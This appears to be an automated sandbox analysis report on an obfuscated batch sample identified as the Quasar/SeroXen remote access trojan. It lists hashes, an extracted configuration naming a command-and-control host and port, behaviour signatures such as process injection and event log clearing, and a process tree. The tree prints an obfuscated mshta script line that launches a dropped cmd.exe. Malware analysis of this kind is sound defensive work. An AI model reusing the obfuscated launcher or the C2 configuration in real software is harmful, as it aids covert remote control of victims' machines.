Analysis
- user interaction
yes - max time kernel
150s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
01/06/2026, 01:55
Static task
static1
Behavioral task
behavioral1
Sample
obf.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
obf.bat
Resource
win11-20260513-en
General
- Target obf.bat
- Size 12.5MB
- Sample260601-cb55fsbt6x
- SHA256 13dd2c4d58353b14afa8e28b6d344eec097b306bfc11c54955503fdd577da794
- MD5 0836a9cdfe13f1f85ccd00aa626c7808
- SHA1 056363fa764d2c4eef9027cd7b546a5db7b750f8
- SHA512 2f23a850a0358424c1de8014924841f60f8dece783ddc19cc8396df58f80286547fb6897714ab5949074aeaef14f6936c04ecea4dc2d2d85d03cd813e5d9b85c
- SSDEEP 49152:0B/923Ai6DBR0hAOBw0EWJYaiZFLaNBlQKPhYrg2qABYvSk166y74LzIO7YqenEQ:G
- TLSH T141D6C09A2FEFA5A037C4747CB5F3A78D73B776732979A2B851F872904208D58B084748
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
quasar
-
1.0.0.0
-
v2.2.5 | SeroXen
-
visualstudioserverredirect.duckdns.org:1337
-
9ce1bddd-7464-4639-b003-89adfaf07ef1
-
encryption_key
885CF86C466C39AE50EBE74CDF07A21ED1278B7E
-
install_name
.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
$sxr-Logs
-
reconnect_delay
3000
Signatures
- Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/932-63-0x0000023FD2F50000-0x0000023FD371A000-memory.dmp family_quasar - Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
description pid Process procid_target PID 908 created 2308 908 WerFault.exe 109 PID 2904 created 4120 2904 WerFault.exe 116 - Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
description pid Process procid_target PID 4744 created 652 4744 obf.bat.exe 5 PID 932 created 652 932 $sxr-powershell.exe 5 PID 932 created 652 932 $sxr-powershell.exe 5 PID 4744 created 652 4744 obf.bat.exe 5 PID 932 created 652 932 $sxr-powershell.exe 5 PID 932 created 652 932 $sxr-powershell.exe 5 PID 2120 created 884 2120 svchost.exe 101 PID 932 created 652 932 $sxr-powershell.exe 5 PID 2120 created 3620 2120 svchost.exe 106 PID 932 created 652 932 $sxr-powershell.exe 5 PID 2120 created 2308 2120 svchost.exe 109 PID 932 created 652 932 $sxr-powershell.exe 5 PID 2120 created 4120 2120 svchost.exe 116 - Deletes itself 1 IoCs
pid Process 4744 obf.bat.exe - Executes dropped EXE 5 IoCs
pid Process 4744 obf.bat.exe 5608 $sxr-mshta.exe 5768 $sxr-cmd.exe 932 $sxr-powershell.exe 3436 $sxr-powershell.exe - Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx svchost.exe - Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
pid Process 932 $sxr-powershell.exe 3436 $sxr-powershell.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe - Suspicious use of SetThreadContext 18 IoCs
description pid Process procid_target PID 4744 set thread context of 4596 4744 obf.bat.exe 84 PID 4744 set thread context of 5168 4744 obf.bat.exe 85 PID 932 set thread context of 3596 932 $sxr-powershell.exe 90 PID 932 set thread context of 4988 932 $sxr-powershell.exe 91 PID 932 set thread context of 4944 932 $sxr-powershell.exe 93 PID 932 set thread context of 4004 932 $sxr-powershell.exe 94 PID 4744 set thread context of 3512 4744 obf.bat.exe 95 PID 4744 set thread context of 3948 4744 obf.bat.exe 96 PID 932 set thread context of 5136 932 $sxr-powershell.exe 97 PID 932 set thread context of 4308 932 $sxr-powershell.exe 99 PID 932 set thread context of 4080 932 $sxr-powershell.exe 100 PID 932 set thread context of 884 932 $sxr-powershell.exe 101 PID 932 set thread context of 1744 932 $sxr-powershell.exe 105 PID 932 set thread context of 3620 932 $sxr-powershell.exe 106 PID 932 set thread context of 2308 932 $sxr-powershell.exe 109 PID 932 set thread context of 4592 932 $sxr-powershell.exe 114 PID 932 set thread context of 6084 932 $sxr-powershell.exe 115 PID 932 set thread context of 4120 932 $sxr-powershell.exe 116 - Costura .NET executable packer 3 IoCs
Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.
resource yara_rule behavioral2/memory/4744-21-0x000001A700DE0000-0x000001A700E36000-memory.dmp costura behavioral2/memory/932-63-0x0000023FD2F50000-0x0000023FD371A000-memory.dmp costura behavioral2/memory/932-64-0x0000023FD3720000-0x0000023FD3B5E000-memory.dmp costura - Drops file in Windows directory 7 IoCs
description ioc Process File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe File created C:\Windows\$sxr-powershell.exe obf.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe obf.bat.exe File created C:\Windows\$sxr-mshta.exe obf.bat.exe File opened for modification C:\Windows\$sxr-mshta.exe obf.bat.exe File created C:\Windows\$sxr-cmd.exe obf.bat.exe File opened for modification C:\Windows\$sxr-cmd.exe obf.bat.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 3 IoCs
pid pid_target Process procid_target 2456 884 WerFault.exe 101 4752 3620 WerFault.exe 106 5776 4120 WerFault.exe 116 - System Location Discovery: System Language Discovery 1 TTPs 9 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WerFault.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WerFault.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WerFault.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WerFault.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4532 cmd.exe 852 PING.EXE - Checks processor information in registry 2 TTPs 30 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe - Enumerates system info in registry 2 TTPs 8 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe - Kills process with taskkill 1 IoCs
pid Process 4816 taskkill.exe - Modifies data under HKEY_USERS 14 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1780279045" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 01 Jun 2026 01:57:26 GMT" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={29E40B26-0115-4935-BEB5-3448BC506527}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 852 PING.EXE - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4744 obf.bat.exe 4744 obf.bat.exe 4744 obf.bat.exe 4596 dllhost.exe 4596 dllhost.exe 5168 dllhost.exe 5168 dllhost.exe 5168 dllhost.exe 5168 dllhost.exe 4596 dllhost.exe 4596 dllhost.exe 4744 obf.bat.exe 4744 obf.bat.exe 932 $sxr-powershell.exe 932 $sxr-powershell.exe 932 $sxr-powershell.exe 932 $sxr-powershell.exe 4988 dllhost.exe 4988 dllhost.exe 4988 dllhost.exe 4988 dllhost.exe 3596 dllhost.exe 3596 dllhost.exe 3596 dllhost.exe 3596 dllhost.exe 932 $sxr-powershell.exe 932 $sxr-powershell.exe 3436 $sxr-powershell.exe 932 $sxr-powershell.exe 4944 dllhost.exe 4944 dllhost.exe 4944 dllhost.exe 4944 dllhost.exe 4944 dllhost.exe 4944 dllhost.exe 4944 dllhost.exe 4944 dllhost.exe 4004 dllhost.exe 4004 dllhost.exe 4004 dllhost.exe 4004 dllhost.exe 3436 $sxr-powershell.exe 3436 $sxr-powershell.exe 4944 dllhost.exe 4944 dllhost.exe 4004 dllhost.exe 4004 dllhost.exe 4744 obf.bat.exe 4944 dllhost.exe 4944 dllhost.exe 3436 $sxr-powershell.exe 3436 $sxr-powershell.exe 4004 dllhost.exe 4004 dllhost.exe 4944 dllhost.exe 4944 dllhost.exe 4944 dllhost.exe 4944 dllhost.exe 4004 dllhost.exe 4004 dllhost.exe 4944 dllhost.exe 4944 dllhost.exe 4004 dllhost.exe 4004 dllhost.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3200 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4744 obf.bat.exe Token: SeDebugPrivilege 4744 obf.bat.exe Token: SeDebugPrivilege 4596 dllhost.exe Token: SeDebugPrivilege 5168 dllhost.exe Token: SeDebugPrivilege 932 $sxr-powershell.exe Token: SeDebugPrivilege 932 $sxr-powershell.exe Token: SeDebugPrivilege 3596 dllhost.exe Token: SeDebugPrivilege 4988 dllhost.exe Token: SeDebugPrivilege 3436 $sxr-powershell.exe Token: SeDebugPrivilege 932 $sxr-powershell.exe Token: SeDebugPrivilege 4944 dllhost.exe Token: SeDebugPrivilege 4004 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2724 svchost.exe Token: SeIncreaseQuotaPrivilege 2724 svchost.exe Token: SeSecurityPrivilege 2724 svchost.exe Token: SeTakeOwnershipPrivilege 2724 svchost.exe Token: SeLoadDriverPrivilege 2724 svchost.exe Token: SeSystemtimePrivilege 2724 svchost.exe Token: SeBackupPrivilege 2724 svchost.exe Token: SeRestorePrivilege 2724 svchost.exe Token: SeShutdownPrivilege 2724 svchost.exe Token: SeSystemEnvironmentPrivilege 2724 svchost.exe Token: SeUndockPrivilege 2724 svchost.exe Token: SeManageVolumePrivilege 2724 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2724 svchost.exe Token: SeIncreaseQuotaPrivilege 2724 svchost.exe Token: SeSecurityPrivilege 2724 svchost.exe Token: SeTakeOwnershipPrivilege 2724 svchost.exe Token: SeLoadDriverPrivilege 2724 svchost.exe Token: SeSystemtimePrivilege 2724 svchost.exe Token: SeBackupPrivilege 2724 svchost.exe Token: SeRestorePrivilege 2724 svchost.exe Token: SeShutdownPrivilege 2724 svchost.exe Token: SeSystemEnvironmentPrivilege 2724 svchost.exe Token: SeUndockPrivilege 2724 svchost.exe Token: SeManageVolumePrivilege 2724 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2724 svchost.exe Token: SeIncreaseQuotaPrivilege 2724 svchost.exe Token: SeSecurityPrivilege 2724 svchost.exe Token: SeTakeOwnershipPrivilege 2724 svchost.exe Token: SeLoadDriverPrivilege 2724 svchost.exe Token: SeSystemtimePrivilege 2724 svchost.exe Token: SeBackupPrivilege 2724 svchost.exe Token: SeRestorePrivilege 2724 svchost.exe Token: SeShutdownPrivilege 2724 svchost.exe Token: SeSystemEnvironmentPrivilege 2724 svchost.exe Token: SeUndockPrivilege 2724 svchost.exe Token: SeManageVolumePrivilege 2724 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2724 svchost.exe Token: SeIncreaseQuotaPrivilege 2724 svchost.exe Token: SeSecurityPrivilege 2724 svchost.exe Token: SeTakeOwnershipPrivilege 2724 svchost.exe Token: SeLoadDriverPrivilege 2724 svchost.exe Token: SeSystemtimePrivilege 2724 svchost.exe Token: SeBackupPrivilege 2724 svchost.exe Token: SeRestorePrivilege 2724 svchost.exe Token: SeShutdownPrivilege 2724 svchost.exe Token: SeSystemEnvironmentPrivilege 2724 svchost.exe Token: SeUndockPrivilege 2724 svchost.exe Token: SeManageVolumePrivilege 2724 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2724 svchost.exe Token: SeIncreaseQuotaPrivilege 2724 svchost.exe Token: SeSecurityPrivilege 2724 svchost.exe Token: SeTakeOwnershipPrivilege 2724 svchost.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 932 $sxr-powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5156 wrote to memory of 4744 5156 cmd.exe 82 PID 4744 wrote to memory of 4596 4744 obf.bat.exe 84 PID 4744 wrote to memory of 4596 4744 obf.bat.exe 84 PID 4744 wrote to memory of 4596 4744 obf.bat.exe 84 PID 4744 wrote to memory of 4596 4744 obf.bat.exe 84 PID 4744 wrote to memory of 4596 4744 obf.bat.exe 84 PID 4744 wrote to memory of 5168 4744 obf.bat.exe 85 PID 4744 wrote to memory of 5168 4744 obf.bat.exe 85 PID 4744 wrote to memory of 5168 4744 obf.bat.exe 85 PID 4744 wrote to memory of 5168 4744 obf.bat.exe 85 PID 4744 wrote to memory of 5168 4744 obf.bat.exe 85 PID 4744 wrote to memory of 5168 4744 obf.bat.exe 85 PID 5608 wrote to memory of 5768 5608 $sxr-mshta.exe 87 PID 5768 wrote to memory of 932 5768 $sxr-cmd.exe 89 PID 932 wrote to memory of 3596 932 $sxr-powershell.exe 90 PID 932 wrote to memory of 3596 932 $sxr-powershell.exe 90 PID 932 wrote to memory of 3596 932 $sxr-powershell.exe 90 PID 932 wrote to memory of 3596 932 $sxr-powershell.exe 90 PID 932 wrote to memory of 3596 932 $sxr-powershell.exe 90 PID 932 wrote to memory of 4988 932 $sxr-powershell.exe 91 PID 932 wrote to memory of 4988 932 $sxr-powershell.exe 91 PID 932 wrote to memory of 4988 932 $sxr-powershell.exe 91 PID 932 wrote to memory of 4988 932 $sxr-powershell.exe 91 PID 932 wrote to memory of 4988 932 $sxr-powershell.exe 91 PID 932 wrote to memory of 4988 932 $sxr-powershell.exe 91 PID 932 wrote to memory of 3436 932 $sxr-powershell.exe 92 PID 932 wrote to memory of 4944 932 $sxr-powershell.exe 93 PID 932 wrote to memory of 4944 932 $sxr-powershell.exe 93 PID 932 wrote to memory of 4944 932 $sxr-powershell.exe 93 PID 932 wrote to memory of 4944 932 $sxr-powershell.exe 93 PID 932 wrote to memory of 4944 932 $sxr-powershell.exe 93 PID 932 wrote to memory of 4944 932 $sxr-powershell.exe 93 PID 4944 wrote to memory of 652 4944 dllhost.exe 5 PID 4944 wrote to memory of 712 4944 dllhost.exe 7 PID 4944 wrote to memory of 920 4944 dllhost.exe 11 PID 4944 wrote to memory of 440 4944 dllhost.exe 13 PID 4944 wrote to memory of 916 4944 dllhost.exe 14 PID 4944 wrote to memory of 776 4944 dllhost.exe 15 PID 4944 wrote to memory of 1052 4944 dllhost.exe 16 PID 4944 wrote to memory of 1148 4944 dllhost.exe 17 PID 4944 wrote to memory of 1192 4944 dllhost.exe 18 PID 4944 wrote to memory of 1228 4944 dllhost.exe 19 PID 4944 wrote to memory of 1272 4944 dllhost.exe 21 PID 4944 wrote to memory of 1284 4944 dllhost.exe 22 PID 4944 wrote to memory of 1328 4944 dllhost.exe 23 PID 4944 wrote to memory of 1444 4944 dllhost.exe 24 PID 4944 wrote to memory of 1564 4944 dllhost.exe 25 PID 4944 wrote to memory of 1656 4944 dllhost.exe 26 PID 4944 wrote to memory of 1684 4944 dllhost.exe 27 PID 4944 wrote to memory of 1736 4944 dllhost.exe 28 PID 4944 wrote to memory of 1752 4944 dllhost.exe 29 PID 4944 wrote to memory of 1884 4944 dllhost.exe 30 PID 4944 wrote to memory of 1892 4944 dllhost.exe 31 PID 4944 wrote to memory of 1932 4944 dllhost.exe 32 PID 4944 wrote to memory of 2020 4944 dllhost.exe 33 PID 4944 wrote to memory of 1016 4944 dllhost.exe 34 PID 4944 wrote to memory of 1536 4944 dllhost.exe 35 PID 4944 wrote to memory of 1600 4944 dllhost.exe 36 PID 4944 wrote to memory of 2092 4944 dllhost.exe 37 PID 4944 wrote to memory of 2188 4944 dllhost.exe 38 PID 4944 wrote to memory of 2212 4944 dllhost.exe 39 PID 4944 wrote to memory of 2364 4944 dllhost.exe 41 PID 4944 wrote to memory of 2580 4944 dllhost.exe 42 PID 4944 wrote to memory of 2588 4944 dllhost.exe 43 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 4812 attrib.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:652
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:776
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{35a0137c-bb77-41a2-92e1-780ea2bcb7ae}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4596
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{0d87559a-93ef-4437-a213-c4c7f18fa8af}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3596
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{5342bf4f-daa8-4590-a9c9-719a8ef4265c}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4944
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{49e0bf03-a9c5-4b36-8ea5-0c6243024099}2⤵PID:3512
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c31064e3-c7d3-4f0a-8f0a-070def2ca822}2⤵PID:5136
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ff5f831b-80b6-4863-8ea5-6dbc2b303e5d}2⤵PID:4080
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{512d08c4-2596-4a42-b41a-96b11f460b61}2⤵PID:1744
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{def308d7-40f2-4dfa-b8cd-eabaa3ec367e}2⤵PID:2308
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2308 -s 2763⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
PID:1480
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ec1c62d5-f29f-4171-bc59-0ab9fabe1f6b}2⤵PID:6084
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:712
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e1f1d7a1-cb9b-497f-b6a6-057126ed840b -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-97ce96f2-bcc6-4085-8d60-3df01aa6a229 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-81698d24-350f-4c25-9b3c-68dea3aef788 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-295f3c38-dcc9-44a0-8b81-f00e372bfaa9 -LifetimeId:7ed8b633-ee6b-434a-a6c9-49c1c7a00619 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:920
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:440
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:916
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:1052
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1148
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1192
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1228
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1272
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2656
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C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-yaOohEgWtYQFlJYLbCNz4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5608 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-yaOohEgWtYQFlJYLbCNz4312:&#<?=%3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5768 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:6000
